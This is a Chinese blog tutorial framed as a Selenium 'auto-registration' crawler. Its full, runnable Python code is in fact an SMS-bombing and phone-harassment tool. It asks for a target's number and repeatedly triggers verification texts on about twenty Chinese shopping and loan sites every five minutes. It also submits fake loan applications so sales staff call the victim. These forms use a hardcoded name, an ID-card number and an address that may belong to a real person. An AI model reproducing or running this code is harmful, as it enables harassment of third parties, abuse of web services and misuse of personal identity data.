python爬蟲:指定網站自動註冊等

環境配置:selenium庫和瀏覽器驅動(本文使用Chromedriver)

1.pip install selenium

  1. Chromedriver國內鏡像下載

Chromedriver官方下載

3.將下載好的driver解壓(對應你自己的瀏覽器版本和系統版本:Chromedriver與Chrome版本對應表),複製到谷歌瀏覽器目錄下,如圖:

再把該文件放到python運行的工作路徑下(別忘了,這裏容易忘記的)

                                                    本文程序所在路徑

這個工作路徑,也就是你運行的文件所在的目錄,比如你把文件放在桌面,那麼你在桌面運行這個python文件的時候,桌面就是這個python的工作路徑。

                                               該py文件工作路徑如紅框

4.將谷歌瀏覽器安裝目錄添加到用戶環境變量的path中
(缺少這步,會報 'chromedriver' executable needs to be in PATH 錯誤******)

                      修改系統環境變量path

簡單說明一下:

                             導入庫並定義Chrome對象

瀏覽器頭部消息在之前的文章中說過,比較基本,不再贅述。

這裏主要是創建一個Chrome的驅動

                            初始化和按鈕點擊信息打印函數

下面就是各個網站的查找元素與輸入了,步驟如下:

1.利用創建好的driver對象的get方法訪問網址

2.利用driver.find_element_by_xpath()方法查找元素

查看官方的Locating Elements文檔可以快速理解它的用法

另外[python爬蟲] Selenium常見元素定位方法和操作的學習介紹寫的也挺詳細

3.driver.implicitly_wait()隱式等待。執行命令的最長等待時間

4.數據輸入使用 “ 查找到的元素.send_keys()”;按鈕點擊使用 “ 查找到的元素.click()”這裏放在了send_yzm函數中執行(最後一步執行,包括打印發送次數)

5.time.sleep()等待元素加載,過時跳過

6.driver.quit()方法關閉瀏覽器


完整代碼看這裏(直接 Run 就完事了):

from selenium import webdriver
import time
# from fake_useragent import UserAgent
# ua = UserAgent(verify_ssl=False)

from selenium.webdriver.common.action_chains import ActionChains
opt = webdriver.ChromeOptions()
# opt.add_argument('--headless')
#更換頭部
opt.add_argument('user-agent="%s"' % 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.62 Safari/537.36')

driver = webdriver.Chrome(chrome_options=opt)

class PunchBack:

    def __init__(self):
        self.phone = input('請輸入您要轟炸的號碼:')
        self.name = input('請輸入您給他起的名字:')
        self.password = input('請輸入您給他設置的密碼:')
        self.num = 0

    # 發送驗證碼
    def send_yzm(self,button,name):
        button.click()
        self.num+=1
        print("{}  第{}次  發送成功  {}".format(self.phone,self.num,name))

    # qq註冊接口,反覆測試後發現需要切換ip
    def qq(self,name):
        try:
            driver.get('https://ssl.zc.qq.com/v3/index-chs.html')
            driver.implicitly_wait(10)
            driver.find_element_by_xpath('//input[@id="nickname"]').send_keys(self.name)
            driver.find_element_by_xpath('//input[@id="password"]').send_keys(self.password)
            driver.find_element_by_xpath('//input[@id="phone"]').send_keys(self.phone)
            button = driver.find_element_by_xpath('//a[@id="send-sms"]')
            self.send_yzm(button,name)
        except:
            print('本次失敗')

    # 瓜子註冊接口
    def guazi(self,name):
        try:
            driver.implicitly_wait(10)
            driver.get ( "https://www.guazi.com/www/bj/buy" )
            a_btn = driver.find_element_by_xpath ( "//a[@class='uc-my']" )
            a_btn.click ()
            tel = driver.find_element_by_xpath ( "//input[@placeholder='請輸入您的手機號碼']" )
            tel.send_keys ( self.phone )
            button = driver.find_element_by_xpath ( "//button[@class='get-code']" )
            self.send_yzm ( button,name )
        except:
            print('本次失敗')

    # 唯品會註冊接口
    def wphui(self,name):
        try:
            driver.get ( "https://passport.vip.com/register?src=https%3A%2F%2Fwww.vip.com%2F" )
            driver.implicitly_wait(10)
            tel = driver.find_element_by_xpath ( "//input[@placeholder='請輸入手機號碼']" )
            tel.send_keys ( self.phone )
            driver.find_element_by_xpath ( '//a[contains(./text(),"獲取驗證碼")]' ).click()
            button = driver.find_element_by_xpath ("//a[@class='ui-btn-medium btn-verify-code ui-btn-secondary']" )
            self.send_yzm ( button,name )
        except:
            print('本次失敗')

    # 蘇寧註冊接口
    def suning(self,name):
        try:
            driver.get ( "https://reg.suning.com/person.do" )
            driver.implicitly_wait(10)
            agree = driver.find_element_by_xpath("//a[@class='agree-btn']")
            agree.click()
            tel = driver.find_element_by_xpath ( "//*[@style='display: block;']")
            tel.send_keys ( self.phone )         
            button = driver.find_element_by_xpath ("//a[@id='sendSmsCode']" )           
            self.send_yzm ( button,name )
        except:
            print('本次失敗')

    # 一號店註冊接口  需要拉條驗證
    def yhd(self,name):
        try:
            driver.get ( "https://passport.yhd.com/passport/register_input.do" )
            driver.implicitly_wait(10)
            driver.find_element_by_xpath ( "//input[@class='ysame_input']" ).send_keys(self.name)
            print('1')
            # XX XX的屬性名 是兩個屬性,取其一即可
            tel = driver.find_element_by_xpath ( "//input[@id = 'phone']" )
            tel.send_keys ( self.phone )
            print('2')
            button = driver.find_element_by_xpath ("//a[contains(./text(),'獲取驗證碼')]" )
            print('3')
            driver.find_element_by_xpath("//input[@id='password']").send_keys(self.password)
            print('4')
            self.send_yzm ( button,name )
        except:
            print('本次失敗')

    # 有贊註冊接口
    def youzan(self,name):
        try:
            driver.get('https://www.youzan.com/v2/account?from_source=baidu_pz_shouye_0&')
            driver.implicitly_wait(10)
            driver.find_element_by_xpath('//input[@name="mobile"]').send_keys(self.phone)
            button = driver.find_element_by_xpath('//button[contains(./text(),"獲取驗證碼")]')
            self.send_yzm(button, name)
        except:
            print('本次失敗')

    # 拼多多短信登陸接口 點擊無反應 不知道爲什麼
    def pinduoduo(self,name):
        try:
            driver.get('http://mobile.yangkeduo.com/login.html')
            driver.implicitly_wait(10)
            driver.find_element_by_xpath('//div[@class="phone-login"]/span').click()
            driver.find_element_by_xpath('//input[@id="user-mobile"]').send_keys(self.phone)
            button=driver.find_element_by_xpath("//*[@id4='code-button']")
            self.send_yzm(button, name)
        except:
            print('本次失敗')

    # 大衆點評登陸接口
    def dianping(self,name):
        try:
            driver.get('https://maccount.dianping.com/login')
            driver.implicitly_wait(10)
            driver.find_element_by_xpath('//input[@name="mobile"]').send_keys(self.phone)
            button = driver.find_element_by_xpath('//a[@class="J_send EasyLogin_send"]')
            self.send_yzm(button, name)
        except:
            print('本次失敗')

    # 支付寶註冊點擊發送按鈕無法成功
    def zhifubao(self,name):
        driver.get('https://memberprod.alipay.com/account/reg/index.htm')
        driver.implicitly_wait(10)
        iframe = driver.find_element_by_xpath('//iframe')
        driver.switch_to.frame(iframe)
        driver.find_element_by_xpath('//a[@seed="content-JAgreeButton"]').click()
        driver.find_element_by_xpath('//input[@id="J-accName"]').send_keys(self.phone)
        # button = driver.find_element_by_xpath('//button[@seed="JResendMobile-btn"]')
        button = driver.find_element_by_xpath('//button[contains(./text(),"獲取驗證碼")]')

        for i in range(3):
            button.click()
        self.send_yzm(button, name)

    #諾亞財富
    def nuoyacaifu(self,name):
        driver.get('https://ifaclubstatic.noahgroup.com/baidu/pc2/index.html')
        driver.implicitly_wait(10)
        driver.find_element_by_xpath('//input[@id="register_name"]').send_keys('校長')
        driver.find_element_by_xpath('//input[@id="register_phone"]').send_keys(self.phone)

        # driver.find_element_by_xpath('//input[@name="mobile"]').send_keys(self.phone)
        button=driver.find_element_by_xpath('//button[@id="register_getcode"]')
        self.send_yzm(button, name)

    # 彈個車
    def tangeche(self,name):
        for i in range(3):
            driver.get('https://www.tangeche.com/market')
            time.sleep(0.1)
        # driver.implicitly_wait(10)
        driver.find_element_by_xpath('//input[@placeholder="請輸入您的手機號"]').send_keys(self.phone)
        button=driver.find_element_by_xpath('//div[contains(./text(),"諮詢更多優惠")]')
        self.send_yzm(button,name)

    # 大作手金融----銷售電話轟炸
    def dazuoshousell(self,name):
        while True:
            try:

                driver.get('http://www.jinrongdazuoshou.com/bdtg/')
                # time.sleep(1)
                # driver.get('h17803403206ttp://www.jinrongdazuoshou.com/bdtg/')
                # driver.implicitly_wait(10)
                driver.find_element_by_xpath('//input[@id="para116"]').send_keys('校長')
                driver.find_element_by_xpath('//input[@name="para117"]').send_keys(self.phone)
                button=driver.find_element_by_xpath('//a[@name="submit"]')
                self.send_yzm(button,name)
                break
            except:
                print('restart.......')

        alert=driver.switch_to_alert()
        alert.accept()

    # 多彩投
    def duocaitou(self,name):
        driver.get('https://www.duocaitou.com/login?redirect=%2F')
        driver.implicitly_wait(10)
        driver.find_element_by_xpath('//input[@placeholder="請輸入手機號"]').send_keys(self.phone)
        button=driver.find_element_by_xpath('//button[@class="getCode ivu-btn ivu-btn-text"]')
        self.send_yzm(button,name)

    # 你我貸
    def niwodai(self,name):
        driver.get('http://www.niwodai.com/ad2018.mhtml?artId=5820160000027066&utm_source=Baidu&utm_medium=cpc&cid=Search-PC-bd03-Shanghai-20170411-10001&nwd_ext_aid=3000001481188029&source_id=Search-PC-bd03-Shanghai-20170411-10001')
        driver.implicitly_wait(10)
        driver.find_element_by_xpath('//input[@name="mobile"]').send_keys(self.phone)
        button=driver.find_element_by_xpath('//em[@id="getPhonecode"]')
        self.send_yzm(button,name)

    # 華爲雲註冊chromedriver被識別 不好用
    def huaweiyun(self,name):
        driver.get('https://reg.huaweicloud.com/registerui/public/custom/register.html#/register')
        driver.implicitly_wait(10)
        driver.find_element_by_xpath('//input[@id="accountNameId"]').send_keys('xianozhang')
        driver.find_element_by_xpath('//input[@id="passwordId"]').send_keys('nishijiba22')
        driver.find_element_by_xpath('//input[@id="confirmPasswordId"]').send_keys('nishijiba22')
        driver.find_element_by_xpath('//input[@id="phoneId"]').send_keys(self.phone)
        button=driver.find_element_by_xpath('//span[contains(./text(),"獲取短信驗證碼")]')
        self.send_yzm(button,name)

    # 宜人貸chromedriver被識別
    def yirendai(self,name):
        driver.get('https://www.yirencf.com/lp/431/5/')
        driver.implicitly_wait(10)
        driver.find_element_by_xpath('//input[@id="mobile"]').send_keys(self.phone)
        driver.find_element_by_xpath('//input[@id="paper"]').click()
        button=driver.find_element_by_xpath('//span[@id="SM_TXT_1"]')
        self.send_yzm(button,name)
        time.sleep(2)

    # 貸款留號碼給銷售
    def daikuai(self,name):
        # 13636356336
        username = '張向榮'
        idcard = '430581198208082837'
        address = '上海市浦東新區楊思路'
        driver.get('http://daikuai.lnxhxd.com/')
        driver.find_element_by_xpath('//input[@id="name"]').send_keys(username)
        driver.find_element_by_xpath('//input[@id="idcard"]').send_keys(idcard)
        driver.find_element_by_xpath('//input[@id="tel"]').send_keys(self.phone)
        driver.find_element_by_xpath('//input[@id="address"]').send_keys(address)
        driver.find_element_by_xpath('//select[@id="money"]').click()
        driver.find_element_by_xpath('//option[@value="10萬"]').click()
        driver.find_element_by_xpath('//select[@id="qixian"]').click()
        driver.find_element_by_xpath('//option[@value="3年(36期)"]').click()
        driver.find_element_by_xpath('//select[@id="yongtu"]').click()
        driver.find_element_by_xpath('//option[@value="創業貸款"]').click()
        button = driver.find_element_by_xpath('//button[@name="zntjan"]')
        self.send_yzm(button,name)
        alert=driver.switch_to_alert()
        alert.accept()

    # 平安好貸
    def pinanhaodai(self,name):
        username = '張向榮'
        driver.get('http://haodai.pingan.com/loan/index.html?WT.mc_id=ZTXYD-bdpc-pc1-tyc-821-0051220&WT.srch=1')
        driver.find_element_by_xpath('//input[@id="name"]').send_keys(username)
        driver.find_element_by_xpath('//input[@id="phone"]').send_keys(self.phone)
        button=driver.find_element_by_xpath('//div[@id="loan_next"]')
        self.send_yzm(button,name)
        # driver.find_element_by_xpath('//div[@id="curLocationPr"]').click()
        # driver.find_element_by_xpath('//li[@data-value="110000"]').click()
        # driver.find_element_by_xpath('//input[@id="y-m-d"]').click()
        # driver.find_element_by_xpath('//td[@class="Wwday"][1]').click()
        # driver.find_element_by_xpath('//div[@id="btn"]').click()

    # 360貸款
    def dai360(self,name):
        driver.get('https://cdn-daikuan.360jie.com.cn/dir_mkteditor/activity/qmmx/pc/1.3.0/12m1pcdz.html?utm_term=daikuan&utm_campaign=12mianshouqipc_201708&utm_medium=search1&utm_source=jinyuanbaiducpc360jietiao&utm_content=pinpai-banben')
        driver.find_element_by_xpath('//a[@class="get-btn"]').click()
        driver.switch_to_active_element()

        driver.find_element_by_xpath('//input[@id="mobile"]').send_keys(self.phone)
        button=driver.find_element_by_xpath('//a[@class="btnSendCode"]')
        self.send_yzm(button,name)

    # 拼趣多
    def pinquduo(self,name):
        driver.get('https://wx.pinquduo.cn/login')
        driver.find_element_by_xpath('//input[@type="tel"]').send_keys(self.phone)
        button=driver.find_element_by_xpath('//span[contains(./text(),"獲取驗證碼")]')
        self.send_yzm(button,name)

    # 平安惠普;留號碼給銷售
    def pinanhuipu(self,name):
        driver.get('http://paph.adks.cn/page/pc-1011/?utm_source=MKT_baidu_ss&utm_medium=cpc&utm_campaign=Market-c&WT.mc_id=CXX-BD-TY2160129-160413-460&')
        driver.find_element_by_xpath('//input[@name="name"]').send_keys('張向榮')
        driver.find_element_by_xpath('//input[@id="mobile"]').send_keys(self.phone)
        driver.find_element_by_xpath('//input[@id="nextsub"]').click()
        driver.find_element_by_xpath('//dt[contains(./text(),"請選擇年齡段")]').click()
        driver.find_element_by_xpath('//a[contains(./text(),"21週歲以下")]').click()
        driver.find_element_by_xpath('//input[@name="isCreditCard" and @value="1"]').click()
        driver.find_element_by_xpath('//input[@name="input_area"]').click()
        driver.find_element_by_xpath('//li[contains(./text(),"南通")]').click()
        driver.find_element_by_xpath('//input[@name="liveTime"]').click()
        driver.find_element_by_xpath('//input[@name="hasHouseLoan"]').click()
        driver.find_element_by_xpath('//input[@name="hasCar"]').click()
        driver.find_element_by_xpath('//input[@name="payCarLoan"]').click()
        driver.find_element_by_xpath('//input[@name="hasLifeInsurance"]').click()
        driver.find_element_by_xpath('//input[@name="lifeInsuranceTotal"]').click()
        driver.find_element_by_xpath('//button[@class="nextStep"]').click()
        self.num+=1
        print("{}  第{}次  發送成功  {}".format(self.phone,self.num,name))



    # 循環執行
    def main(self):
        while True:            
            #self.qq('qq')                           #qq有點厲害 不知道爲什麼就是自動點擊不認可        
            self.guazi('瓜子')
            self.wphui('唯品會')
            self.suning('蘇寧')
            #self.yhd('一號店')                      #一號店也要識別
            self.youzan('有贊')
            self.pinduoduo('拼多多')
            self.dianping('大衆點評')
            self.tangeche('彈個車')
            self.nuoyacaifu('諾亞財富')
            self.dazuoshousell('金融大作手')
            self.duocaitou('p2p多彩投')
            self.niwodai('你我貸')
            #self.huaweiyun('華爲雲')                #華爲要識別
            self.yirendai('宜人貸')
            self.daikuai('daikuai')
            self.pinanhaodai('平安好貸')
            self.dai360('360借條')
            self.pinquduo('拼趣多')
            self.pinanhuipu('平安惠普')
            time.sleep(60*5)

if __name__ == '__main__':
    OnePunchMan = PunchBack()
    OnePunchMan.main()

 

效果如下:

              跑程序效果預覽

                                       瀏覽器效果預覽

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章